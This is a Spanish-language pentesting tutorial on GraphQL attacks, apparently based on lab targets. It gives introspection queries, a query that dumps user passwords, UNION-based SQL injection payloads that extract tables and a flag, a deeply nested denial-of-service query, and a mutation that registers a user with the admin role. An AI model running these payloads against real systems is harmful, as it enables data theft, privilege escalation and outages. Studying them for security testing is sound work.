14 minuto(s) estimado(s) de lectura
GraphQL
Tipos de ataque
GraphQL es un lenguaje de consulta para APIs que permite a los clientes obtener exactamente los datos que necesitan desde un único punto de acceso (habitualmente /graphql). A diferencia de REST, evita problemas como el over-fetching (cuando se reciben más datos de los necesarios) y el under-fetching (cuando se reciben menos y es necesario hacer múltiples solicitudes). En GraphQL, el cliente define qué campos y relaciones desea obtener, lo que hace las consultas más precisas y eficientes.
Este enfoque mejora el rendimiento y reduce el tráfico entre cliente y servidor. Además, GraphQL utiliza un esquema tipado que define los objetos y sus relaciones, y admite operaciones complejas como filtrado, subconsultas, actualizaciones y suscripciones. En conjunto, ofrece flexibilidad, eficiencia y un mayor control sobre los datos solicitados, siendo una alternativa moderna y más dinámica frente a las API REST tradicionales.
Identificación del motor de GraphQL
Es posible identificar el motor de GraphQL con la herramienta graphw00f, la cual envía múltiples consultas para determinarlo.
┌──(root㉿nptg)-[/graphql]
└─# python3 main.py -d -f -t <website>
Se deben enumerar las consultas admitidas por el esquema de la API mediante la introspección (Introspection).
{
__schema {
types {
name
}
}
}
{"query":"{__schema { types { name }}}"}
Ahora que conocemos un tipo, podemos obtener el nombre de todos los campos de ese tipo con la siguiente consulta:
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}
"{ __type(name: \"UserObject\") { name fields { name type { name kind } } } }"
También podemos listar todas las consultas (queries) admitidas por el backend:
{
__schema {
queryType {
fields {
name
description
}
}
}
}
Conocer todas las consultas admitidas nos ayuda a identificar posibles vectores de ataque que podrían utilizarse para extraer información sensible. Por último, podemos ejecutar una consulta de introspección “general” que devuelve toda la información sobre tipos, campos y operaciones soportadas por el backend:
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
El resultado de esta consulta suele ser extenso y complejo. Podemos visualizar el esquema de forma más amigable usando la herramienta GraphQL-Voyager; sigue las instrucciones del repositorio para cargar y explorar el esquema. Pero pegando la respuesta en la web de GraphQL-Voyager en la sección de “Change Schema” podremos obtener un mejor panorama.
Exploitación
Divulgación de información
Con la información obtenida por introspección, revisemos el siguiente ejemplo ejecutando la consulta:
{__schema { types { name }}}
Tras esto detectamos una lista llamada SecretObject y procedemos a inspeccionarla:
{ __type(name: "SecretObject") { name fields { name type { name kind } } } }
La información encontrada puede consultarse así:
{ secrets { id secret } }
Insecure Direct Object Reference (IDOR)
Para identificar problemas de autorización rota (IDOR), primero localizamos puntos de entrada que permitan acceder a recursos ajenos. Por ejemplo, mientras se navega en la web vulnerable se observó la petición:
Podemos consultar los objetos y ver qué parámetros acepta la petición para intentar acceder a recursos adicionales.
{
__schema {
types {
name
}
}
}
Luego buscamos definiciones del esquema que nos llamen la atención, por ejemplo UserObject:
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}
Como se observa, en ciertos casos es posible solicitar el campo de contraseña:
También se puede enumerar todos los usuarios o iterar uno por uno:
{users { id username msg role password}}
Inyección SQL
Dado que GraphQL es un lenguaje de consulta, muchas implementaciones subyacen en bases de datos SQL; si el backend no valida correctamente la entrada, puede ser vulnerable a inyección SQL.
Una prueba rápida consiste en enviar una comilla simple:
Si se detecta vulnerabilidad, se puede construir una inyección basada en UNION para exfiltrar datos. Dado que GraphQL a menudo devuelve solo la primera fila, se usa GROUP_CONCAT para concatenar múltiples filas. Primero localizamos el número de columnas:
' order by 6-- -
Si no hay error, probamos con 7:
' order by 7-- -
Obtenemos un error que indica que hay 6 columnas:
Ahora construimos la consulta para enumerar los nombres de las tablas en la base de datos actual (usando un nombre de usuario inexistente):
{"query":"{user(username: \"prueba' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database()-- -\") { id username msg role }}"}
Una vez tenemos las tablas, listamos las columnas de una tabla específica:
{"query":"{user(username: \"prueba' UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='flag' AND table_schema=database()-- -\") { id username msg role }}"}
Finalmente, extraemos el contenido:
{"query":"{user(username: \"prueba' UNION SELECT 1,2,GROUP_CONCAT(flag),4,5,6 FROM flag-- -\") { id username msg role }}"}
Cross-Site Scripting (XSS)
Las implementaciones que reflejan contenido GraphQL en HTML sin desinfección pueden ser susceptibles a XSS; por ejemplo, si se muestran argumentos inválidos en mensajes de error:
Denegación de servicio (DoS)
Consultas excesivamente profundas o grandes pueden sobrecargar el servidor y afectar la disponibilidad para otros usuarios.
La consulta dependerá del caso específico.
{
posts {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
username
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
Batching
El batching permite enviar múltiples consultas GraphQL en una sola solicitud HTTP (por ejemplo, enviando una lista JSON con varias consultas). Ejemplo:
POST /graphql HTTP/1.1
Host: 172.17.0.2
Content-Length: 86
Content-Type: application/json
[
{
"query":"{user(username: \"admin\") {uuid}}"
},
{
"query":"{post(id: 1) {title}}"
}
]
El batching no es en sí una vulnerabilidad, pero puede usarse para amplificar ataques (por ejemplo, fuerza bruta) si no se controlan límites de solicitud o se procesan consultas sensibles en lotes.
Mutaciones
Las mutaciones son operaciones GraphQL que modifican datos en el servidor (crear, actualizar, eliminar). Identificamos las mutaciones soportadas por el backend y sus argumentos usando introspección:
query {
__schema {
mutationType {
name
fields {
name
args {
name
defaultValue
type {
...TypeRef
}
}
}
}
}
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
A partir del resultado, podemos detectar mutaciones que permiten, por ejemplo, crear usuarios.
{
__type(name: "RegisterUserInput") {
name
inputFields {
name
description
defaultValue
}
}
}
En un ejemplo real se identificó que la contraseña se almacenaba en MD5:
Generamos una contraseña y creamos el usuario:
┌──(root㉿nptg)-[/graphql]
└─# echo -n 'password' | md5sum
5f4dcc3b5aa765d61d8327deb882cf99
mutation {
registerUser(input: {username: "prueba", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "newUser"}) {
user {
username
password
msg
role
}
}
}
Como se observa, se asignó el rol de administrador.
Validamos que el usuario fue creado:
Se consigue acceso al panel de administración.
Herramientas recomendadas: para auditoría se sugiere graphql-cop y, como extensión para Burp Suite, InQL.































